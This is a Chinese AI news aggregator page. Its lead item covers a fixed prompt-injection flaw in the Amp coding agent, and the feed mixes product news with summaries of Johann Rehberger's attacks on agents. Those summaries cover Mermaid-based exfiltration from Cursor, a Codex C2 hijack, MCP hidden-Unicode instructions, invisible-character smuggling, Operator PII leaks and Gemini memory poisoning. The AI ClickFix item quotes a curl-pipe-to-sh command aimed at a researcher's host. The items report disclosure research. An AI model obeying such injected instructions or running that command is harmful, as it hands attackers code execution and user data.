Amp Code 通过提示词注入实现任意命令执行的漏洞已修复
Sourcegraph 旗下编程智能体 Amp 存在漏洞：AI 可写项目外文件，通过修改 settings. 加入 allowlist 命令（如 curl、sh 或 *）或添加恶意 MCP 服务器，实现任意代码执行。作者 Johann Rehberger 于 7 月初报告，Sourcegraph 数日内修复，用户应更新到最新版本；作者建议 AI 不得在未经开发者明确同意下修改关键文件。
#Agent
#Agent
今日 112 条Johann Rehberger / Embrace The Red（RSS）AI 评分6969
Johann Rehberger / Embrace The Red（RSS）AI 评分7272 Cursor IDE 通过 Mermaid 图表外泄任意数据漏洞披露（CVE-2025-54132）
Johann Rehberger 披露 Cursor 的 Mermaid 图表渲染可加载外部图片，在间接提示词注入下无需用户确认即可将数据外泄到攻击者服务器，并演示窃取 API 密钥和用户记忆两种利用方式。该漏洞于 2025 年 6 月 30 日报告、7 月 7 日修复，编号 CVE-2025-54132，已随 7 月 29 日起可用的 Cursor v1.3 发布。
OpenAI Developers（RSS）AI 评分5151 OpenAI 发布函数调用指南，覆盖 Responses API、tool search 与自定义工具语法约束
OpenAI 发布函数调用官方指南，讲解如何用 JSON schema 定义的函数工具和自由文本的自定义工具连接模型与外部系统，示例覆盖 Responses API 和 Chat Completions。
Johann Rehberger / Embrace The Red（RSS）AI 评分6868 提示词注入可把 ChatGPT Codex 变成 ZombAI 僵尸智能体
安全研究者演示 ChatGPT Codex 云端编码智能体可被 GitHub issue 中的间接提示词注入劫持，并利用 Common Dependencies 允许列表中的 azure.com 在攻击者控制的 Azure VM 上建立 C2，实现完整系统入侵。
Mistral AI：News（网页）AI 评分5656 Mistral AI 发布 Codestral 25.08 及面向企业的完整编码栈
Mistral AI 发布 Codestral 25.08，并推出覆盖补全、语义检索与智能体工作流的企业编码栈，包含 Codestral Embed、Devstral 和 Mistral Code IDE 插件。
Johann Rehberger / Embrace The Red（RSS）AI 评分5353 Embrace The Red 宣布 Month of AI Bugs 2025：8月连发20多篇智能体漏洞文章
安全研究员 Johann Rehberger 宣布发起 Month of AI Bugs 2025，8月将在博客发布超过20篇文章，披露 ChatGPT Codex、Claude Code、GitHub Copilot Agent Mode、Cursor、Windsurf、Devin 等主流编码智能体的安全漏洞。
OpenAI Developers（RSS）AI 评分4949 OpenAI 背景模式指南：GPT-5.2 长任务异步执行与轮询
OpenAI 发布 Background mode 指南，开发者可在 GPT-5.2 和 GPT-5.2 Pro 上异步执行长任务，通过将 API 请求的 background 设为 true 并以 GET 端点轮询状态，避免超时和连接问题。ZDR 项目需配合 store=false，响应数据临时落盘约 10 分钟；仅显式设置 store=true 时响应才会在轮询期后保留。
OpenAI Developers（RSS）AI 评分3535 OpenAI 构建小时：Responses API 内置工具与智能体工具调用
OpenAI 的 Build hour 演示了智能体如何调用工具来完成任务，涉及 Responses API、function calling、Agents SDK 与 tool calling。内容聚焦 agentic 场景下的工具调用能力。
OpenAI Developers（RSS）AI 评分4949 OpenAI 构建小时：智能体工具调用（Responses API、function calling、Agents SDK）
OpenAI 的 Build hour 演示了智能体如何调用工具来完成任务，涉及 Responses API、function calling 与 Agents SDK。内容围绕 agentic 工具调用展开。
OpenAI Developers（RSS）AI 评分3737 OpenAI Agents SDK 快速入门指南
OpenAI 发布 Agents SDK 快速入门，通过 pip install openai-agents 安装，用 Agent 定义名称与 instructions，再由 Runner.run 执行并返回 RunResult。
OpenAI Developers（RSS）AI 评分6161 OpenAI Realtime API 与音频语音智能体指南
OpenAI 发布 Realtime API 与音频指南，讲解如何构建语音到语音的 voice agent，模型直接处理音频、维护对话状态并可调用工具。
OpenAI Developers（RSS）AI 评分4343 OpenAI 发布构建智能体指南：Agents API、Agents SDK 与 Responses API 选型对比
OpenAI 发布构建智能体指南，对比 Agents API、Agents SDK 与 Responses API 三种运行时的选型。Agents API 由 OpenAI 托管 Codex harness，支持自动上下文压缩、多智能体编排、程序化工具调用和 MCP 服务器；Agents SDK 在应用内运行，由 runner 处理智能体循环与 handoff。
OpenAI Developers（RSS）AI 评分4444 OpenAI 内置工具指南：Responses API、Agents API 与 Agents SDK 工具集成
OpenAI 发布内置工具指南，说明在 Responses API、Agents API 和 Agents SDK 中如何配置 web search、function calling。
OpenAI Developers（RSS）AI 评分6464 OpenAI 发布 JavaScript/TypeScript 版 Agents SDK
OpenAI 发布面向 JavaScript/TypeScript 的开源 Agents SDK，用于构建多智能体工作流，支持 OpenAI API 及其他提供商。
OpenAI Developers（RSS）AI 评分6161 OpenAI 开源 openai-testing-agent-demo：用 CUA 模型自动化前端测试
OpenAI 发布 openai-testing-agent-demo 仓库，演示如何用 CUA 模型和 computer use 工具自动化前端测试。项目包含 frontend、cua-server、sample-test-app 三个应用，通过 Playwright 启动浏览器执行测试用例，MIT 协议开源，官方提醒 computer use 仍处预览阶段，不建议在认证环境或高风险任务中信任。
OpenAI Developers（RSS）AI 评分6464 OpenAI Computer Use 指南：模型如何操作浏览器与桌面界面
OpenAI 发布 Computer Use 官方指南，说明模型可通过浏览器和桌面界面填写表单、测试用户流程或完成应用内任务。
OpenAI Developers（RSS）AI 评分6464 OpenAI Agents SDK（Python）发布，支持多智能体工作流、沙箱与实时语音智能体
OpenAI Agents SDK（Python）是一个轻量级多智能体工作流框架，支持 OpenAI Responses 和 Chat Completions API 以及 100+ 其他 LLM。
OpenAI Developers（RSS）精选AI 评分7070 OpenAI 开源 Computer Use API 示例应用，含浏览器与桌面两个智能体
OpenAI 发布 Computer Use API 的示例应用 openai-cua-sample-app，包含两个计算机操作智能体：一个用 JavaScript 和 Playwright 控制浏览器，另一个用 Python 和 PyAutoGUI 通过截图、鼠标和键盘控制桌面。
推荐理由：OpenAI 官方开源了计算机操作智能体的示例应用，读者可以据此了解用代码驱动浏览器和桌面的模式。
Mistral AI：News（网页）精选AI 评分7070 Mistral AI 发布 Devstral Medium 并升级 Devstral Small 1.1
Mistral AI 与 All Hands AI 合作推出 Devstral Medium，并升级 Devstral Small 1.1。
推荐理由：原文给出两个模型的 SWE-Bench Verified 成绩、许可证和 API 定价，读者可据此评估在编码智能体工作流中的成本与部署选择。
Sam Altman：Blog（RSS）AI 评分5454 Sam Altman 发文《温和的奇点》：人类已越过事件视界
Sam Altman 发文称技术起飞已经开始，人类接近构建数字超级智能，且过程比想象中平缓。他判断 2025 年出现能完成真实认知工作的 Agent，2026 年可能产生能发现新洞见的系统，2027 年可能出现能在现实世界执行任务的机器人；科学家用 AI 后生产力提升两到三倍，ChatGPT 平均每次查询耗电约 0.34 瓦时、用水约 0.000085 加仑。
Mistral AI：News（网页）AI 评分4848 Mistral 推出企业级 AI 编程助手 Mistral Code
Mistral 发布企业级 AI 编程助手 Mistral Code，整合 Codestral、Codestral Embed、Devstral 和 Mistral Medium 四个模型，支持 80+ 编程语言，可在云端、专属容量或本地 GPU 气隙部署。
Mistral AI：News（网页）精选AI 评分6767 Mistral 发布 Agents API，内置连接器与智能体编排
Mistral AI 发布新的 Agents API，将语言模型与代码执行、网页搜索、图像生成、文档库和 MCP 工具等内置连接器结合，并支持跨对话的持久记忆与多智能体编排。
推荐理由：官方原文给出内置连接器、有状态对话和智能体编排的具体能力，还附 SimpleQA 对比数字，便于评估它在实际工作流中的用法。
Johann Rehberger / Embrace The Red（RSS）AI 评分6060 Johann Rehberger 演示 AI ClickFix 攻击劫持 Claude Computer-Use Agent
Johann Rehberger 发布 AI ClickFix 攻击概念验证，将现实中的 ClickFix 社会工程 TTP 改造后针对 Computer-Use Agent，诱导 claude-3-7-sonnet-20250219 在终端执行 curl -s https://wuzzi.net/computer/oops.html | sh。
Mistral AI：News（网页）精选AI 评分6969 Mistral AI 联合 All Hands AI 发布软件工程智能体模型 Devstral
Mistral AI 与 All Hands AI 合作发布软件工程智能体模型 Devstral，以 Apache 2.0 许可开源。
推荐理由：Mistral 自家发布，给出 SWE-Bench Verified 具体分数、开源许可和部署门槛，读者可据此评估其在本地或企业编码场景的可用性。
Johann Rehberger / Embrace The Red（RSS）AI 评分6868 MCP 安全风险解析：不可信服务器如何借工具元数据劫持 Claude 客户端
安全研究员 Johann Rehberger 发文解析 MCP 的安全风险并展示一条新的漏洞利用链。文章指出仅将恶意工具服务器加入会话即可劫持对话，工具元数据中的隐藏 Unicode Tag 指令可穿透 API 和 UI 层，用户在界面检查时不可见，Claude 会执行这些隐藏指令。
Johann Rehberger / Embrace The Red（RSS）AI 评分5858 ASCII Smuggler 更新：用两个隐形字符实现 Sneaky Bits 数据走私技术
安全研究者 Johann Rehberger 在 ASCII Smuggler 中新增 Sneaky Bits 编码，用两个隐形 Unicode 字符（U+2062 表示 0、U+2064 表示 1）按位编码任意 Unicode 字符或字节序列。
Mistral AI：News（网页）AI 评分3636 Mistral AI 如何用智能体工作流自动生成 PRD 与工程任务
Mistral AI 展示 TranscriptToPRDTicket 智能体工作流，由 Mistral Large 2 驱动的 PRDAgent 和 TicketCreationAgent 组成，可将会议转录自动生成 PRD 并拆解为开发任务，最终在 Linear、Jira 等项目管理工具中自动创建工单。
Johann Rehberger / Embrace The Red（RSS）AI 评分6666 ChatGPT Operator 提示词注入实测：劫持智能体泄露用户 PII 与 OpenAI 的三层缓解
安全研究者 Johann Rehberger 实测演示 ChatGPT Operator 可被网页中的提示词注入劫持，将 news.ycombinator.com、booking.com 等已登录站点上的私密邮箱、地址和电话输入第三方数据泄露页面。
Johann Rehberger / Embrace The Red（RSS）AI 评分5454 Johann Rehberger 演示用提示注入和延迟工具调用篡改 Gemini 记忆
安全研究人员 Johann Rehberger 演示，通过在文档中嵌入提示注入并配合延迟工具调用，可诱导 Gemini Advanced 把虚假信息写入用户长期记忆。
Sam Altman：Blog（RSS）AI 评分4343 Sam Altman 提出关于 AI 经济学的三点观察
Sam Altman 提出关于 AI 经济学的三点观察：AI 模型智能约等于训练与运行资源投入的对数，可预测的 scaling laws 在多个数量级上成立；使用特定智能水平的成本约每 12 个月下降 10 倍，GPT-4 到 GPT-4o 的每 token 价格下降约 150 倍；线性增长的智能带来的社会经济价值呈超指数级。
Answer.AI 官方研发博客（RSS）精选AI 评分7979 Answer.AI 团队实测 Devin 一个月：20 个任务仅 3 个成功
Answer.AI 团队对 Devin 进行一个月真实任务实测，20 个任务中 14 个失败、3 个无结论、仅 3 个成功，且无法预测哪些任务会成功。Devin 在处理现有代码库、研究类任务中常陷入技术死胡同或幻觉出不存在的功能，团队结论是其自主性反而成为负担，更倾向使用 Cursor 等由开发者主导的 AI 辅助工作流。
推荐理由：作者团队用一个月、20 个真实任务实测 Devin，给出了成败分布和与 Cursor 类工作流的对比，可作为评估自主编码智能体的参照。
Answer.AI 官方研发博客（RSS）AI 评分6363 Answer.AI 发布终端 AI 助手 ShellSage
Answer.AI 发布 ShellSage，一款运行在终端里的 AI 系统管理助手，可通过 pip install shell_sage 安装，需配置 ANTHROPIC_API_KEY。
Lilian Weng：Lil'Log（RSS）精选AI 评分8080 Lilian Weng 长文解析 LLM 驱动的自主智能体系统
Lilian Weng 在博客发布长文，系统阐述以 LLM 为核心控制器的自主智能体架构，将其拆解为规划、记忆、工具使用三大组件。
推荐理由：文章把 LLM 智能体系统拆解为规划、记忆、工具使用三大组件，梳理了 ReAct、Reflexion 等代表方法与共同局限，便于建立整体认知框架。
Lilian Weng：Lil'Log（RSS）精选AI 评分7272 Lilian Weng 长文综述 Prompt Engineering：从零样本、CoT 到自动提示设计与 Toolformer
Lilian Weng 在 Lil'Log 发表 Prompt Engineering 长文，系统介绍不更新模型权重、靠提示引导大语言模型行为的方法。
推荐理由：Lilian Weng 系统梳理了从 few-shot 到 CoT、自洽采样和 Toolformer 的提示词方法，附带示例选择与偏差校准的可迁移经验。